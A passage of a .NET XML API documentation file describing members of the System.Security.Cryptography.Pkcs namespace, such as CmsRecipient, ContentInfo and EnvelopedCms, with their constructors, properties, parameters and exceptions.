<summary>Returns an enumerator that iterates through the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>An <see cref="System.Collections.IEnumerator"></see> object that can be used to iterate through the <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.CryptographicAttributeObjectEnumerator">
<summary>Provides enumeration functionality for the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection. This class cannot be inherited.</summary>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.Current">
<summary>Gets the current <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object from the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object that represents the current cryptographic attribute in the <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.MoveNext">
<summary>Advances the enumeration to the next <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object in the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>true if the enumeration successfully moved to the next <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object; false if the enumerator is at the end of the enumeration.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.Reset">
<summary>Resets the enumeration to the first <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object in the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.System#Collections#IEnumerator#Current">
<summary>Gets the current <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object from the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object that represents the current cryptographic attribute in the <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class defines the algorithm used for a cryptographic operation.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class by using a set of default parameters.</summary>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class with the specified algorithm identifier.</summary>
<param name="oid">An object identifier for the algorithm.</param>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid,System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid,System.Int32)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class with the specified algorithm identifier and key length.</summary>
<param name="oid">An object identifier for the algorithm.</param>
<param name="keyLength">The length, in bits, of the key.</param>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.KeyLength">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.KeyLength"></see> property sets or retrieves the key length, in bits. This property is not used for algorithms that use a fixed key length.</summary>
<returns>An int value that represents the key length, in bits.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.Oid">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.Oid"></see> property sets or retrieves the <see cref="T:System.Security.Cryptography.Oid"></see> object that specifies the object identifier for the algorithm.</summary>
<returns>An <see cref="System.Security.Cryptography.Oid"></see> object that represents the algorithm.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.CmsRecipient">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class defines the recipient of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.X509Certificates.X509Certificate2)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.X509Certificates.X509Certificate2)"></see> constructor constructs an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class by using the specified recipient certificate.</summary>
<param name="certificate">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2"></see> object that represents the recipient certificate.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2)"></see> constructor constructs an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class by using the specified recipient identifier type and recipient certificate.</summary>
<param name="recipientIdentifierType">A member of the <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that specifies the type of the identifier of the recipient.</param>
<param name="certificate">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2"></see> object that represents the recipient certificate.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipient.Certificate">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipient.Certificate"></see> property retrieves the certificate associated with the recipient.</summary>
<returns>An <see cref="System.Security.Cryptography.X509Certificates.X509Certificate2"></see> object that holds the certificate associated with the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipient.RecipientIdentifierType">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipient.RecipientIdentifierType"></see> property retrieves the type of the identifier of the recipient.</summary>
<returns>A member of the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that specifies the type of the identifier of the recipient.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class represents a set of <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> objects. <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> implements the <see cref="T:System.Collections.ICollection"></see> interface.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class and adds the specified recipient.</summary>
<param name="recipient">An instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class that represents the specified CMS/PKCS #7 recipient.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class and adds recipients based on the specified subject identifier and set of certificates that identify the recipients.</summary>
<param name="recipientIdentifierType">A member of the <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that specifies the type of subject identifier.</param>
<param name="certificates">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that contains the certificates that identify the recipients.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Add(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Add(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> method adds a recipient to the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<param name="recipient">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the recipient to add to the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</param>
<returns>If the method succeeds, the method returns an <see cref="System.Int32"></see> value that represents the zero-based position where the recipient is to be inserted.
If the method fails, it throws an exception.</returns>
<exception cref="T:System.ArgumentNullException"><paramref name="recipient">recipient</paramref> is null.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Array,System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Array,System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection to an array.</summary>
<param name="array">An <see cref="T:System.Array"></see> object to which the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index in array where the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">
<paramref name="array">array</paramref> is not large enough to hold the specified elements.
-or-
<paramref name="array">array</paramref> does not contain the proper number of dimensions.</exception>
<exception cref="T:System.ArgumentNullException"><paramref name="array">array</paramref> is null.</exception>
<exception cref="T:System.ArgumentOutOfRangeException"><paramref name="index">index</paramref> is outside the range of elements in <paramref name="array">array</paramref>.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Security.Cryptography.Pkcs.CmsRecipient[],System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Security.Cryptography.Pkcs.CmsRecipient[],System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection to a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> array.</summary>
<param name="array">An array of <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> objects where the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index for the array of <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> objects in array to which the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">
<paramref name="array">array</paramref> is not large enough to hold the specified elements.
-or-
<paramref name="array">array</paramref> does not contain the proper number of dimensions.</exception>
<exception cref="T:System.ArgumentNullException"><paramref name="array">array</paramref> is null.</exception>
<exception cref="T:System.ArgumentOutOfRangeException"><paramref name="index">index</paramref> is outside the range of elements in <paramref name="array">array</paramref>.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Count">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Count"></see> property retrieves the number of items in the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>An <see cref="System.Int32"></see> value that represents the number of items in the collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Item(System.Int32)">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Item(System.Int32)"></see> property retrieves the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object at the specified index in the collection.</summary>
<param name="index">An <see cref="T:System.Int32"></see> value that represents the index in the collection. The index is zero based.</param>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object at the specified index.</returns>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Remove(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Remove(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> method removes a recipient from the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<param name="recipient">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the recipient to remove from the collection.</param>
<exception cref="T:System.ArgumentNullException"><paramref name="recipient">recipient</paramref> is null.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#ICollection#IsSynchronized">
<returns></returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#ICollection#SyncRoot">
<returns></returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#IEnumerable#GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#IEnumerable#GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> class provides enumeration functionality for the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection. <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> implements the <see cref="T:System.Collections.IEnumerator"></see> interface.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the current recipient in the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.MoveNext">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.MoveNext"></see> method advances the enumeration to the next <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>true if the enumeration successfully moved to the next <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object; false if the enumeration moved past the last item in the enumeration.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Reset">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Reset"></see> method resets the enumeration to the first <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.System#Collections#IEnumerator#Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.System#Collections#IEnumerator#Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the current recipient in the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.ContentInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> class represents the CMS/PKCS #7 ContentInfo data structure as defined in the CMS/PKCS #7 standards document. This data structure is the basis for all CMS/PKCS #7 messages.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> class by using an array of byte values as the data and a default <paramref name="object identifier">object identifier</paramref> (OID) that represents the content type.</summary>
<param name="content">An array of byte values that represents the data from which to create the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> object.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Security.Cryptography.Oid,System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Security.Cryptography.Oid,System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> class by using the specified content type and an array of byte values as the data.</summary>
<param name="contentType">An <see cref="T:System.Security.Cryptography.Oid"></see> object that contains an object identifier (OID) that specifies the content type of the content. This can be data, digestedData, encryptedData, envelopedData, hashedData, signedAndEnvelopedData, or signedData. For more information, see Remarks.</param>
<param name="content">An array of byte values that represents the data from which to create the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> object.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.ContentInfo.Content">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.ContentInfo.Content"></see> property retrieves the content of the CMS/PKCS #7 message.</summary>
<returns>An array of byte values that represents the content data.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.ContentInfo.ContentType">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.ContentInfo.ContentType"></see> property retrieves the <see cref="T:System.Security.Cryptography.Oid"></see> object that contains the <paramref name="object identifier">object identifier</paramref> (OID) of the content type of the inner content of the CMS/PKCS #7 message.</summary>
<returns>An <see cref="System.Security.Cryptography.Oid"></see> object that contains the OID value that represents the content type.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.ContentInfo.GetContentType(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.ContentInfo.GetContentType(System.Byte[])"></see> static method retrieves the outer content type of the encoded <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> message represented by an array of byte values.</summary>
<param name="encodedMessage">An array of byte values that represents the encoded <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> message from which to retrieve the outer content type.</param>
<returns>If the method succeeds, the method returns an <see cref="System.Security.Cryptography.Oid"></see> object that contains the outer content type of the specified encoded <see cref="System.Security.Cryptography.Pkcs.ContentInfo"></see> message.
If the method fails, it throws an exception.</returns>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">An error occurred during a cryptographic operation.</exception>
</member>
<member name="T:System.Security.Cryptography.Pkcs.EnvelopedCms">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class represents a CMS/PKCS #7 structure for enveloped data.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class.</summary>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class by using the specified content information as the inner content type.</summary>
<param name="contentInfo">An instance of the <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentInfo"></see> class that represents the content and its type.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo,System.Security.Cryptography.Pkcs.AlgorithmIdentifier)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo,System.Security.Cryptography.Pkcs.AlgorithmIdentifier)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class by using the specified content information and encryption algorithm. The specified content information is to be used as the inner content type.</summary>
<param name="contentInfo">A <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> object that represents the content and its type.</param>
<param name="encryptionAlgorithm">An <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that specifies the encryption algorithm.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Certificates">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Certificates"></see> property retrieves the set of certificates associated with the enveloped CMS/PKCS #7 message.</summary>
<returns>An <see cref="System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that represents the X.509 certificates used with the enveloped CMS/PKCS #7 message. If no certificates exist, the property value is an empty collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentEncryptionAlgorithm"></see> property retrieves the identifier of the algorithm used to encrypt the content.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that represents the algorithm identifier.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentInfo">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentInfo"></see> property retrieves the inner content information for the enveloped CMS/PKCS #7 message.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.ContentInfo"></see> object that represents the inner content information from the enveloped CMS/PKCS #7 message.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decode(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decode(System.Byte[])"></see> method decodes the specified enveloped CMS/PKCS #7 message and resets all member variables in the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> object.</summary>
<param name="encodedMessage">An array of byte values that represent the information to be decoded.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information and by using the specified certificate collection. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption.</summary>
<param name="recipientInfo">A <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the recipient information to use for the decryption.</param>
<param name="extraStore">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that represents additional certificates to use for the decryption. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the specified certificate collection. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption.</summary>
<param name="extraStore">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that represents additional certificates to use for the decryption. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt"></see> method searches the current user and computer My stores for the appropriate certificate and private key.</summary>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo)"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information.</summary>
<param name="recipientInfo">A <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the recipient information that identifies the certificate associated with the private key to use for the decryption.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encode">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encode"></see> method encodes the contents of the enveloped CMS/PKCS #7 message and returns it as an array of byte values. Encryption must be done before encoding.</summary>
<returns>If the method succeeds, the method returns an array of byte values that represent the encoded information.
If the method fails, it throws an exception.</returns>
